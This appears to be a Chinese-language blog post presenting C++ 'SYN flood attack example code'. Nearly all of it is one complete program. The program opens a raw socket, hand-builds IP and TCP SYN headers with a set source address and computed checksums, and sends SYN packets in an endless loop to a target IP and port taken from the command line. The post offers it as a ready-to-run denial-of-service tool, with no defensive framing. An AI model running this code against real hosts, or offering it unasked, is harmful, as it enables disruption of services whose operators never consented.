c++版本的syn flood攻击示例代码
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c++版本的syn flood攻击示例代码
moodlxs 发表于1年前
c++版本的syn flood攻击示例代码
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#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#pragma pack(1)
struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;

    struct tcphdr tcp;
};
#pragma pack()

unsigned short csum(unsigned short *ptr, int nbytes) 
{
    long sum;
    unsigned short oddbyte;
    short answer;
    
    sum = 0;
    while (nbytes > 1) {
      sum += *ptr++;
      nbytes -= 2;
    }
    if (nbytes == 1) {
      oddbyte = 0;
      *((u_char*) &oddbyte) = *(u_char*) ptr;
      sum += oddbyte;
    }
    
    sum = (sum >> 16) + (sum & 0xffff);
    sum = sum + (sum >> 16);
    answer = (short) ~sum;
    
    return (answer);
}

void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,
        in_addr_t destination, u_int16_t destinationPort) 
{
    static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };
    bzero(sendBuf, sizeof(sendBuf));

    struct iphdr* ipHeader = (iphdr*) sendBuf;
    struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr));

    ipHeader->version = 4;
    ipHeader->ihl = 5;

    ipHeader->tos = 0;
    ipHeader->tot_len = htons(sizeof(sendBuf));

    ipHeader->id = htons(1);
    ipHeader->frag_off = 0;
    ipHeader->ttl = 254;
    ipHeader->protocol = IPPROTO_TCP;
    ipHeader->check = 0;
    ipHeader->saddr = source;
    ipHeader->daddr = destination;

    ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2);

    //TCP Header
    tcph->source = htons(sourcePort);
    tcph->dest = htons(destinationPort);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5; //sizeof(tcphdr)/4
    tcph->fin = 0;
    tcph->syn = 1;
    tcph->rst = 0;
    tcph->psh = 0;
    tcph->ack = 0;
    tcph->urg = 0;
    tcph->window = htons(512);
    tcph->check = 0;
    tcph->urg_ptr = 0;

    //tcp header checksum
    struct pseudo_header pseudoHeader;
    pseudoHeader.source_address = source;
    pseudoHeader.dest_address = destination;
    pseudoHeader.placeholder = 0;
    pseudoHeader.protocol = IPPROTO_TCP;
    pseudoHeader.tcp_length = htons(sizeof(tcphdr));
    memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));

    tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));

    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(sourcePort);
    sin.sin_addr.s_addr = destination;

    ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,
            (struct sockaddr *) &sin, sizeof(sin));
    if (sentLen == -1) {
        perror("sent error");
    }
}

int main(int argc,char** argv) 
{
    char ip[128] = "127.0.0.1"; 
    uint16_t port = 6888;
    if (argc == 1) {
        printf("Usage:sf ip port\n");
        return -1;
    }

    if (argc > 1) {
        sprintf(ip, "%s", argv[1]);
    }

    if (argc > 2) {
        port = atoi(argv[2]);
    }
        
    //for setsockopt
    int optval = 1;

    //create a raw socket
    int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if (socketfd == -1) {
        perror("create socket:");
        exit(0);
    }
    if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) < 0) {
        perror("create socket:");
        exit(0);
    }

    in_addr_t source = inet_addr("127.0.0.1");
    in_addr_t destination = inet_addr(ip);
    u_int16_t sourcePort = 1667;
    u_int16_t destinationPort = port;
    while(1) {
        oneSyn(socketfd, source, sourcePort++, destination, destinationPort);
        sourcePort %= 65535;
        sleep(5);
    }

    return 0;
}

 

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